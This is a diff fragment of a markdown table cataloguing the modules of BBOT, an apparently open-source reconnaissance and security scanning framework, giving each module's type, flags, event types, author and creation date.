-| hunterio              | scan     | Yes             | Query hunter.io for emails                                                                                                                            | email-enum, passive, safe, subdomain-enum                        | DNS_NAME                                                                                                                                | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED                                                  | @TheTechromancer          | 2022-04-25     |
-| ip2location           | scan     | Yes             | Query IP2location.io's API for geolocation information.                                                                                               | passive, safe                                                    | IP_ADDRESS                                                                                                                              | GEOLOCATION                                                                              | @TheTechromancer          | 2023-09-12     |
-| ipneighbor            | scan     | No              | Look beside IPs in their surrounding subnet                                                                                                           | aggressive, passive, subdomain-enum                              | IP_ADDRESS                                                                                                                              | IP_ADDRESS                                                                               | @TheTechromancer          | 2022-06-08     |
-| ipstack               | scan     | Yes             | Query IPStack's GeoIP API                                                                                                                             | passive, safe                                                    | IP_ADDRESS                                                                                                                              | GEOLOCATION                                                                              | @tycoonslive              | 2022-11-26     |
-| jadx                  | scan     | No              | Decompile APKs and XAPKs using JADX                                                                                                                   | code-enum, passive, safe                                         | FILESYSTEM                                                                                                                              | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-11-04     |
-| leakix                | scan     | No              | Query leakix.net for subdomains                                                                                                                       | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-11     |
-| myssl                 | scan     | No              | Query myssl.com's API for subdomains                                                                                                                  | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2023-07-10     |
-| otx                   | scan     | Yes             | Query otx.alienvault.com for subdomains                                                                                                               | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-24     |
-| pgp                   | scan     | No              | Query common PGP servers for email addresses                                                                                                          | email-enum, passive, safe                                        | DNS_NAME                                                                                                                                | EMAIL_ADDRESS                                                                            | @TheTechromancer          | 2022-08-10     |
-| portfilter            | scan     | No              | Filter out unwanted open ports from cloud/CDN targets                                                                                                 | passive, safe                                                    | OPEN_TCP_PORT, URL, URL_UNVERIFIED                                                                                                      |                                                                                          | @TheTechromancer          | 2025-01-06     |
-| postman               | scan     | No              | Query Postman's API for related workspaces, collections, requests and download them                                                                   | code-enum, passive, safe, subdomain-enum                         | ORG_STUB, SOCIAL                                                                                                                        | CODE_REPOSITORY                                                                          | @domwhewell-sage          | 2024-09-07     |
-| postman_download      | scan     | No              | Download workspaces, collections, requests from Postman                                                                                               | code-enum, download, passive, safe, subdomain-enum               | CODE_REPOSITORY                                                                                                                         | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-09-07     |
-| rapiddns              | scan     | No              | Query rapiddns.io for subdomains                                                                                                                      | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-24     |
-| securitytrails        | scan     | Yes             | Query the SecurityTrails API for subdomains                                                                                                           | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-03     |
-| shodan_dns            | scan     | Yes             | Query Shodan for subdomains                                                                                                                           | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-03     |
-| shodan_idb            | scan     | No              | Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities                                                                | passive, portscan, safe, subdomain-enum                          | DNS_NAME, IP_ADDRESS                                                                                                                    | DNS_NAME, FINDING, OPEN_TCP_PORT, TECHNOLOGY, VULNERABILITY                              | @TheTechromancer          | 2023-12-22     |
-| skymem                | scan     | No              | Query skymem.info for email addresses                                                                                                                 | email-enum, passive, safe                                        | DNS_NAME                                                                                                                                | EMAIL_ADDRESS                                                                            | @TheTechromancer          | 2022-07-11     |
-| social                | scan     | No              | Look for social media links in webpages                                                                                                               | passive, safe, social-enum                                       | URL_UNVERIFIED                                                                                                                          | SOCIAL                                                                                   | @TheTechromancer          | 2023-03-28     |
-| subdomaincenter       | scan     | No              | Query subdomain.center's API for subdomains                                                                                                           | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2023-07-26     |
-| subdomainradar        | scan     | Yes             | Query the Subdomain API for subdomains                                                                                                                | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-08     |
-| trickest              | scan     | Yes             | Query Trickest's API for subdomains                                                                                                                   | affiliates, passive, safe, subdomain-enum                        | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @amiremami                | 2024-07-27     |
-| trufflehog            | scan     | No              | TruffleHog is a tool for finding credentials                                                                                                          | code-enum, passive, safe                                         | CODE_REPOSITORY, FILESYSTEM, HTTP_RESPONSE, RAW_TEXT                                                                                    | FINDING, VULNERABILITY                                                                   | @domwhewell-sage          | 2024-03-12     |
-| urlscan               | scan     | No              | Query urlscan.io for subdomains                                                                                                                       | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME, URL_UNVERIFIED                                                                 | @TheTechromancer          | 2022-06-09     |
-| viewdns               | scan     | No              | Query viewdns.info's reverse whois for related domains                                                                                                | affiliates, passive, safe                                        | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-04     |
-| virustotal            | scan     | Yes             | Query VirusTotal's API for subdomains                                                                                                                 | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-25     |
-| wayback               | scan     | No              | Query archive.org's API for subdomains                                                                                                                | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME, URL_UNVERIFIED                                                                 | @liquidsec                | 2022-04-01     |
-| asset_inventory       | output   | No              | Merge hosts, open ports, technologies, findings, etc. into a single asset inventory CSV                                                               |                                                                  | DNS_NAME, FINDING, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, TECHNOLOGY, URL, VULNERABILITY, WAF                                        | IP_ADDRESS, OPEN_TCP_PORT                                                                | @liquidsec                | 2022-09-30     |
-| csv                   | output   | No              | Output to CSV                                                                                                                                         |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-04-07     |
-| discord               | output   | No              | Message a Discord channel when certain events are encountered                                                                                         |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2023-08-14     |
-| emails                | output   | No              | Output any email addresses found belonging to the target domain                                                                                       | email-enum                                                       | EMAIL_ADDRESS                                                                                                                           |                                                                                          | @domwhewell-sage          | 2023-12-23     |
-| http                  | output   | No              | Send every event to a custom URL via a web request                                                                                                    |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-04-13     |
-| json                  | output   | No              | Output to Newline-Delimited JSON (NDJSON)                                                                                                             |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-04-07     |
-| mysql                 | output   | No              | Output scan data to a MySQL database                                                                                                                  |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-11-13     |
-| neo4j                 | output   | No              | Output to Neo4j                                                                                                                                       |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-04-07     |
-| nmap_xml              | output   | No              | Output to Nmap XML                                                                                                                                    |                                                                  | DNS_NAME, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, PROTOCOL                                                                            |                                                                                          | @TheTechromancer          | 2024-11-16     |
-| postgres              | output   | No              | Output scan data to a SQLite database                                                                                                                 |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-11-08     |
-| python                | output   | No              | Output via Python API                                                                                                                                 |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-09-13     |
-| slack                 | output   | No              | Message a Slack channel when certain events are encountered                                                                                           |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2023-08-14     |
-| splunk                | output   | No              | Send every event to a splunk instance through HTTP Event Collector                                                                                    |                                                                  | *                                                                                                                                       |                                                                                          | @w0Tx                     | 2024-02-17     |
-| sqlite                | output   | No              | Output scan data to a SQLite database                                                                                                                 |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-11-07     |
-| stdout                | output   | No              | Output to text                                                                                                                                        |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-04-03     |
-| subdomains            | output   | No              | Output only resolved, in-scope subdomains                                                                                                             | subdomain-enum                                                   | DNS_NAME, DNS_NAME_UNRESOLVED                                                                                                           |                                                                                          | @TheTechromancer          | 2023-07-31     |
-| teams                 | output   | No              | Message a Teams channel when certain events are encountered                                                                                           |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2023-08-14     |
-| txt                   | output   | No              | Output to text                                                                                                                                        |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-04-03     |
-| web_parameters        | output   | No              | Output WEB_PARAMETER names to a file                                                                                                                  |                                                                  | WEB_PARAMETER                                                                                                                           |                                                                                          | @liquidsec                | 2025-01-25     |
-| web_report            | output   | No              | Create a markdown report with web assets                                                                                                              |                                                                  | FINDING, TECHNOLOGY, URL, VHOST, VULNERABILITY                                                                                          |                                                                                          | @liquidsec                | 2023-02-08     |
-| websocket             | output   | No              | Output to websockets                                                                                                                                  |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-04-15     |
-| cloudcheck            | internal | No              | Tag events by cloud provider, identify cloud resources like storage buckets                                                                           |                                                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-07-07     |
-| dnsresolve            | internal | No              | Perform DNS resolution                                                                                                                                |                                                                  | *                                                                                                                                       | DNS_NAME, IP_ADDRESS, RAW_DNS_RECORD                                                     | @TheTechromancer          | 2022-04-08     |
-| aggregate             | internal | No              | Summarize statistics at the end of a scan                                                                                                             | passive, safe                                                    |                                                                                                                                         |                                                                                          | @TheTechromancer          | 2022-07-25     |
-| excavate              | internal | No              | Passively extract juicy tidbits from scan data                                                                                                        | passive                                                          | HTTP_RESPONSE, RAW_TEXT                                                                                                                 | URL_UNVERIFIED, WEB_PARAMETER                                                            | @liquidsec                | 2022-06-27     |
-| speculate             | internal | No              | Derive certain event types from others by common sense                                                                                                | passive                                                          | AZURE_TENANT, DNS_NAME, DNS_NAME_UNRESOLVED, HTTP_RESPONSE, IP_ADDRESS, IP_RANGE, SOCIAL, STORAGE_BUCKET, URL, URL_UNVERIFIED, USERNAME | DNS_NAME, FINDING, IP_ADDRESS, OPEN_TCP_PORT, ORG_STUB                                   | @liquidsec                | 2022-05-03     |
-| unarchive             | internal | No              | Extract different types of files into folders on the filesystem                                                                                       | passive, safe                                                    | FILESYSTEM                                                                                                                              | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-12-08     |
+| Module                | Type     | Needs API Key   | Description                                                                                                                                           | Flags                                                      | Consumed Events                                                                                                                         | Produced Events                                                                          | Author                    | Created Date   |
+|-----------------------|----------|-----------------|-------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------|---------------------------|----------------|
+| ajaxpro               | scan     | No              | Check for potentially vulnerable Ajaxpro instances                                                                                                    | active, safe, web-heavy                                    | HTTP_RESPONSE, URL                                                                                                                      | FINDING, TECHNOLOGY                                                                      | @liquidsec                | 2024-01-18     |
+| aspnet_bin_exposure   | scan     | No              | Check for ASP.NET Security Feature Bypasses (CVE-2023-36899 and CVE-2023-36560)                                                                       | active, safe, web-heavy                                    | URL                                                                                                                                     | FINDING                                                                                  | @liquidsec                | 2025-01-28     |
+| baddns                | scan     | No              | Check hosts for domain/subdomain takeovers                                                                                                            | active, baddns, cloud-enum, safe, subdomain-hijack, web    | DNS_NAME, DNS_NAME_UNRESOLVED                                                                                                           | FINDING                                                                                  | @liquidsec                | 2024-01-18     |
+| baddns_direct         | scan     | No              | Check for unusual subdomain / service takeover edge cases that require direct detection                                                               | active, baddns, cloud-enum, safe, subdomain-enum           | STORAGE_BUCKET, URL                                                                                                                     | FINDING                                                                                  | @liquidsec                | 2024-01-29     |
+| baddns_zone           | scan     | No              | Check hosts for DNS zone transfers and NSEC walks                                                                                                     | active, baddns, cloud-enum, safe, subdomain-enum           | DNS_NAME                                                                                                                                | FINDING                                                                                  | @liquidsec                | 2024-01-29     |
+| badsecrets            | scan     | No              | Library for detecting known or weak secrets across many web frameworks                                                                                | active, safe, web                                          | HTTP_RESPONSE                                                                                                                           | FINDING, TECHNOLOGY                                                                      | @liquidsec                | 2022-11-19     |
+| bucket_amazon         | scan     | No              | Check for S3 buckets related to target                                                                                                                | active, cloud-enum, safe, web                              | DNS_NAME, STORAGE_BUCKET                                                                                                                | FINDING, STORAGE_BUCKET                                                                  | @TheTechromancer          | 2022-11-04     |
+| bucket_digitalocean   | scan     | No              | Check for DigitalOcean spaces related to target                                                                                                       | active, cloud-enum, safe, slow, web-heavy                  | DNS_NAME, STORAGE_BUCKET                                                                                                                | FINDING, STORAGE_BUCKET                                                                  | @TheTechromancer          | 2022-11-08     |
+| bucket_firebase       | scan     | No              | Check for open Firebase databases related to target                                                                                                   | active, cloud-enum, safe, web                              | DNS_NAME, STORAGE_BUCKET                                                                                                                | FINDING, STORAGE_BUCKET                                                                  | @TheTechromancer          | 2023-03-20     |
+| bucket_google         | scan     | No              | Check for Google object storage related to target                                                                                                     | active, cloud-enum, safe, web                              | DNS_NAME, STORAGE_BUCKET                                                                                                                | FINDING, STORAGE_BUCKET                                                                  | @TheTechromancer          | 2022-11-04     |
+| bucket_hetzner        | scan     | No              | Check for Hetzner Object Storage buckets related to target                                                                                            | active, cloud-enum, safe, slow, web-heavy                  | DNS_NAME, STORAGE_BUCKET                                                                                                                | FINDING, STORAGE_BUCKET                                                                  | @ChrisJr404               | 2026-05-04     |
+| bucket_microsoft      | scan     | No              | Check for Azure storage blobs related to target                                                                                                       | active, cloud-enum, safe, web                              | DNS_NAME, STORAGE_BUCKET                                                                                                                | FINDING, STORAGE_BUCKET                                                                  | @TheTechromancer          | 2022-11-04     |
+| bypass403             | scan     | No              | Check 403 pages for common bypasses                                                                                                                   | active, loud, web-heavy                                    | URL                                                                                                                                     | FINDING                                                                                  | @liquidsec                | 2022-07-05     |
+| dnsbrute              | scan     | No              | Brute-force subdomains with massdns + static wordlist                                                                                                 | active, loud, subdomain-enum                               | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2024-04-24     |
+| dnsbrute_mutations    | scan     | No              | Brute-force subdomains with massdns + target-specific mutations                                                                                       | active, loud, slow, subdomain-enum                         | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2024-04-25     |
+| dnscommonsrv          | scan     | No              | Check for common SRV records                                                                                                                          | active, safe, subdomain-enum                               | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-05-15     |
+| dotnetnuke            | scan     | No              | Scan for critical DotNetNuke (DNN) vulnerabilities                                                                                                    | active, invasive, loud, web-heavy                          | HTTP_RESPONSE                                                                                                                           | FINDING, TECHNOLOGY                                                                      | @liquidsec                | 2023-11-21     |
+| filedownload          | scan     | No              | Download common filetypes such as PDF, DOCX, PPTX, etc.                                                                                               | active, download, safe, web                                | HTTP_RESPONSE, URL_UNVERIFIED                                                                                                           | FILESYSTEM                                                                               | @TheTechromancer          | 2023-10-11     |
+| fingerprintx          | scan     | No              | Fingerprint exposed services like RDP, SSH, MySQL, etc.                                                                                               | active, safe, service-enum, slow                           | OPEN_TCP_PORT                                                                                                                           | PROTOCOL, URL_UNVERIFIED                                                                 | @TheTechromancer          | 2023-01-30     |
+| generic_ssrf          | scan     | No              | Check for generic SSRFs                                                                                                                               | active, invasive, web-heavy                                | URL                                                                                                                                     | FINDING                                                                                  | @liquidsec                | 2022-07-30     |
+| git                   | scan     | No              | Check for exposed .git repositories                                                                                                                   | active, code-enum, safe, web                               | URL                                                                                                                                     | CODE_REPOSITORY, FINDING                                                                 | @TheTechromancer          | 2023-05-30     |
+| gitlab_com            | scan     | No              | Enumerate GitLab SaaS (gitlab.com/org) for projects and groups                                                                                        | active, code-enum, safe                                    | SOCIAL                                                                                                                                  | CODE_REPOSITORY                                                                          | @TheTechromancer          | 2024-03-11     |
+| gitlab_onprem         | scan     | No              | Detect self-hosted GitLab instances and query them for repositories                                                                                   | active, code-enum, safe                                    | HTTP_RESPONSE, SOCIAL, TECHNOLOGY                                                                                                       | CODE_REPOSITORY, FINDING, SOCIAL, TECHNOLOGY                                             | @TheTechromancer          | 2024-03-11     |
+| gowitness             | scan     | No              | Take screenshots of webpages                                                                                                                          | active, safe, web-screenshots                              | SOCIAL, URL                                                                                                                             | TECHNOLOGY, URL, URL_UNVERIFIED, WEBSCREENSHOT                                           | @TheTechromancer          | 2022-07-08     |
+| graphql_introspection | scan     | No              | Perform GraphQL introspection on a target                                                                                                             | active, safe, web                                          | URL                                                                                                                                     | FINDING                                                                                  | @mukesh-dream11           | 2025-07-01     |
+| host_header           | scan     | No              | Try common HTTP Host header spoofing techniques                                                                                                       | active, loud, web-heavy                                    | HTTP_RESPONSE                                                                                                                           | FINDING                                                                                  | @liquidsec                | 2022-07-27     |
+| http                  | scan     | No              | Visit webpages using blasthttp (native Rust HTTP engine)                                                                                              | active, cloud-enum, safe, social-enum, subdomain-enum, web | OPEN_TCP_PORT, URL, URL_UNVERIFIED                                                                                                      | HTTP_RESPONSE, URL                                                                       | @liquidsec                | 2026-03-08     |
+| hunt                  | scan     | No              | Watch for commonly-exploitable HTTP parameters                                                                                                        | active, safe, web-heavy                                    | WEB_PARAMETER                                                                                                                           | FINDING                                                                                  | @liquidsec                | 2022-07-20     |
+| iis_shortnames        | scan     | No              | Check for IIS shortname vulnerability                                                                                                                 | active, iis-shortnames, loud, web                          | URL                                                                                                                                     | URL_HINT                                                                                 | @liquidsec                | 2022-04-15     |
+| legba                 | scan     | No              | Credential bruteforcing supporting various services.                                                                                                  | active, invasive, loud                                     | PROTOCOL                                                                                                                                | FINDING                                                                                  | @christianfl, @fuzikowski | 2025-07-18     |
+| lightfuzz             | scan     | No              | BBOT's DAST module — lightly fuzz web parameters discovered during recon for common vulnerability classes                                             | active, invasive, loud, web-heavy                          | URL, WEB_PARAMETER                                                                                                                      | FINDING, HTTP_RESPONSE                                                                   | @liquidsec                | 2024-06-28     |
+| medusa                | scan     | No              | Medusa SNMP bruteforcing with v1, v2c and R/W check.                                                                                                  | active, invasive, loud                                     | PROTOCOL                                                                                                                                | FINDING                                                                                  | @christianfl              | 2025-05-16     |
+| newsletters           | scan     | No              | Searches for Newsletter Submission Entry Fields on Websites                                                                                           | active, safe                                               | HTTP_RESPONSE                                                                                                                           | FINDING                                                                                  | @stryker2k2               | 2024-02-02     |
+| ntlm                  | scan     | No              | Watch for HTTP endpoints that support NTLM authentication                                                                                             | active, safe, web                                          | HTTP_RESPONSE, URL                                                                                                                      | DNS_NAME, FINDING                                                                        | @liquidsec                | 2022-07-25     |
+| nuclei                | scan     | No              | Fast and customisable vulnerability scanner                                                                                                           | active, invasive, loud                                     | URL                                                                                                                                     | FINDING, TECHNOLOGY                                                                      | @TheTechromancer          | 2022-03-12     |
+| oauth                 | scan     | No              | Enumerate OAUTH and OpenID Connect services                                                                                                           | active, affiliates, cloud-enum, safe, subdomain-enum, web  | DNS_NAME, URL_UNVERIFIED                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2023-07-12     |
+| paramminer_cookies    | scan     | No              | Smart brute-force to check for common HTTP cookie parameters                                                                                          | active, loud, slow, web-paramminer                         | HTTP_RESPONSE, WEB_PARAMETER                                                                                                            | WEB_PARAMETER                                                                            | @liquidsec                | 2022-06-27     |
+| paramminer_getparams  | scan     | No              | Use smart brute-force to check for common HTTP GET parameters                                                                                         | active, loud, slow, web-paramminer                         | HTTP_RESPONSE, WEB_PARAMETER                                                                                                            | WEB_PARAMETER                                                                            | @liquidsec                | 2022-06-28     |
+| paramminer_headers    | scan     | No              | Use smart brute-force to check for common HTTP header parameters                                                                                      | active, loud, slow, web-paramminer                         | HTTP_RESPONSE, WEB_PARAMETER                                                                                                            | WEB_PARAMETER                                                                            | @liquidsec                | 2022-04-15     |
+| portscan              | scan     | No              | Port scan with masscan. By default, scans top 100 ports.                                                                                              | active, loud, portscan                                     | DNS_NAME, IP_ADDRESS, IP_RANGE                                                                                                          | OPEN_TCP_PORT                                                                            | @TheTechromancer          | 2024-05-15     |
+| reflected_parameters  | scan     | No              | Highlight parameters that reflect their contents in response body                                                                                     | active, safe, web-heavy                                    | WEB_PARAMETER                                                                                                                           | FINDING                                                                                  | @liquidsec                | 2024-10-29     |
+| retirejs              | scan     | No              | Detect vulnerable/out-of-date JavaScript libraries                                                                                                    | active, safe, web-heavy                                    | URL_UNVERIFIED                                                                                                                          | FINDING                                                                                  | @liquidsec                | 2025-08-19     |
+| robots                | scan     | No              | Look for and parse robots.txt                                                                                                                         | active, safe, web                                          | URL                                                                                                                                     | URL_UNVERIFIED                                                                           | @liquidsec                | 2023-02-01     |
+| securitytxt           | scan     | No              | Check for security.txt content                                                                                                                        | active, cloud-enum, safe, subdomain-enum, web              | DNS_NAME                                                                                                                                | EMAIL_ADDRESS, URL_UNVERIFIED                                                            | @colin-stubbs             | 2024-05-26     |
+| sslcert               | scan     | No              | Extract hostnames and emails from TLS certificates in HTTP responses                                                                                  | active, affiliates, email-enum, safe, subdomain-enum, web  | HTTP_RESPONSE                                                                                                                           | DNS_NAME, EMAIL_ADDRESS                                                                  | @TheTechromancer          | 2022-03-30     |
+| telerik               | scan     | No              | Scan for critical Telerik vulnerabilities                                                                                                             | active, invasive, loud, web-heavy                          | HTTP_RESPONSE, URL                                                                                                                      | FINDING                                                                                  | @liquidsec                | 2022-04-10     |
+| url_manipulation      | scan     | No              | Attempt to identify URL parsing/routing based vulnerabilities                                                                                         | active, loud, web-heavy                                    | URL                                                                                                                                     | FINDING                                                                                  | @liquidsec                | 2022-09-27     |
+| virtualhost           | scan     | No              | Fuzz for virtual hosts                                                                                                                                | active, loud, slow                                         | URL                                                                                                                                     | DNS_NAME_UNVERIFIED, HTTP_RESPONSE, VIRTUAL_HOST                                         | @liquidsec                | 2022-05-02     |
+| waf_bypass            | scan     | No              | Detects potential WAF bypasses                                                                                                                        | active, safe, web-heavy                                    | URL                                                                                                                                     | FINDING                                                                                  | @liquidsec                | 2025-09-26     |
+| wafw00f               | scan     | No              | Web Application Firewall Fingerprinting Tool                                                                                                          | active, loud                                               | URL                                                                                                                                     | WAF                                                                                      | @liquidsec                | 2023-02-15     |
+| webbrute              | scan     | No              | A fast web fuzzer powered by blasthttp                                                                                                                | active, loud                                               | URL                                                                                                                                     | URL_UNVERIFIED                                                                           | @liquidsec                | 2022-04-10     |
+| webbrute_shortnames   | scan     | No              | Brute-force IIS shortnames using ML-predicted wordlists                                                                                               | active, iis-shortnames, loud, web-heavy                    | URL_HINT                                                                                                                                | URL_UNVERIFIED                                                                           | @liquidsec                | 2022-07-05     |
+| affiliates            | scan     | No              | Summarize affiliate domains at the end of a scan                                                                                                      | affiliates, passive, safe                                  | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-07-25     |
+| anubisdb              | scan     | No              | Query anubisdb.com for subdomains                                                                                                                     | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-10-04     |
+| apkpure               | scan     | No              | Download android applications from apkpure.com                                                                                                        | code-enum, download, passive, safe                         | MOBILE_APP                                                                                                                              | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-10-11     |
+| asn                   | scan     | No              | Query asndb for ASN information                                                                                                                       | passive, safe, subdomain-enum                              | IP_ADDRESS                                                                                                                              | ASN                                                                                      | @TheTechromancer          | 2022-07-25     |
+| azure_tenant          | scan     | No              | Query Azure for tenant information using multiple enumeration methods                                                                                 | affiliates, cloud-enum, passive, safe, subdomain-enum      | DNS_NAME                                                                                                                                | AZURE_TENANT, DNS_NAME, FINDING, URL_UNVERIFIED                                          | @TheTechromancer          | 2024-07-04     |
+| bevigil               | scan     | Yes             | Retrieve OSINT data from mobile applications using BeVigil                                                                                            | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME, URL_UNVERIFIED                                                                 | @alt-glitch               | 2022-10-26     |
+| bucket_file_enum      | scan     | No              | Works in conjunction with the filedownload module to download files from open storage buckets. Currently supported cloud providers: AWS, DigitalOcean | cloud-enum, passive, safe                                  | STORAGE_BUCKET                                                                                                                          | URL_UNVERIFIED                                                                           | @TheTechromancer          | 2023-11-14     |
+| bufferoverrun         | scan     | Yes             | Query BufferOverrun's TLS API for subdomains                                                                                                          | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2024-10-23     |
+| builtwith             | scan     | Yes             | Query Builtwith.com for subdomains                                                                                                                    | affiliates, passive, safe, subdomain-enum                  | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-23     |
+| c99                   | scan     | Yes             | Query the C99 API for subdomains                                                                                                                      | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-08     |
+| censys_dns            | scan     | Yes             | Query the Censys API for subdomains                                                                                                                   | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-04     |
+| censys_ip             | scan     | Yes             | Query the Censys API for hosts by IP address                                                                                                          | passive, safe                                              | IP_ADDRESS                                                                                                                              | DNS_NAME, IP_ADDRESS, OPEN_TCP_PORT, OPEN_UDP_PORT, PROTOCOL, TECHNOLOGY, URL_UNVERIFIED | @TheTechromancer          | 2026-01-26     |
+| certspotter           | scan     | No              | Query Certspotter's API for subdomains                                                                                                                | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-28     |
+| chaos                 | scan     | Yes             | Query ProjectDiscovery's Chaos API for subdomains                                                                                                     | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-14     |
+| code_repository       | scan     | No              | Look for code repository links in webpages                                                                                                            | code-enum, passive, safe                                   | URL_UNVERIFIED                                                                                                                          | CODE_REPOSITORY                                                                          | @domwhewell-sage          | 2024-05-15     |
+| credshed              | scan     | Yes             | Send queries to your own credshed server to check for known credentials of your targets                                                               | passive, safe                                              | DNS_NAME                                                                                                                                | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME                                       | @SpamFaux                 | 2023-10-12     |
+| crt                   | scan     | No              | Query crt.sh (certificate transparency) for subdomains                                                                                                | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-05-13     |
+| crt_db                | scan     | No              | Query crt.sh (certificate transparency) for subdomains via PostgreSQL                                                                                 | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2025-03-27     |
+| dehashed              | scan     | Yes             | Execute queries against dehashed.com for exposed credentials                                                                                          | email-enum, passive, safe                                  | DNS_NAME                                                                                                                                | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME                                       | @SpamFaux                 | 2023-10-12     |
+| dnsbimi               | scan     | No              | Check DNS_NAME's for BIMI records to find image and certificate hosting URL's                                                                         | cloud-enum, passive, safe, subdomain-enum                  | DNS_NAME                                                                                                                                | RAW_DNS_RECORD, URL_UNVERIFIED                                                           | @colin-stubbs             | 2024-11-15     |
+| dnscaa                | scan     | No              | Check for CAA records                                                                                                                                 | email-enum, passive, safe, subdomain-enum                  | DNS_NAME                                                                                                                                | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED                                                  | @colin-stubbs             | 2024-05-26     |
+| dnsdumpster           | scan     | No              | Query dnsdumpster for subdomains                                                                                                                      | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-03-12     |
+| dnstlsrpt             | scan     | No              | Check for TLS-RPT records                                                                                                                             | cloud-enum, email-enum, passive, safe, subdomain-enum      | DNS_NAME                                                                                                                                | EMAIL_ADDRESS, RAW_DNS_RECORD, URL_UNVERIFIED                                            | @colin-stubbs             | 2024-07-26     |
+| docker_pull           | scan     | No              | Download images from a docker repository                                                                                                              | code-enum, download, passive, safe, slow                   | CODE_REPOSITORY                                                                                                                         | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-03-24     |
+| dockerhub             | scan     | No              | Search for docker repositories of discovered orgs/usernames                                                                                           | code-enum, passive, safe                                   | ORG_STUB, SOCIAL                                                                                                                        | CODE_REPOSITORY, SOCIAL, URL_UNVERIFIED                                                  | @domwhewell-sage          | 2024-03-12     |
+| emailformat           | scan     | No              | Query email-format.com for email addresses                                                                                                            | email-enum, passive, safe                                  | DNS_NAME                                                                                                                                | EMAIL_ADDRESS                                                                            | @TheTechromancer          | 2022-07-11     |
+| fullhunt              | scan     | Yes             | Query the fullhunt.io API for subdomains                                                                                                              | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-24     |
+| git_clone             | scan     | No              | Clone code github repositories                                                                                                                        | code-enum, download, passive, safe, slow                   | CODE_REPOSITORY                                                                                                                         | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-03-08     |
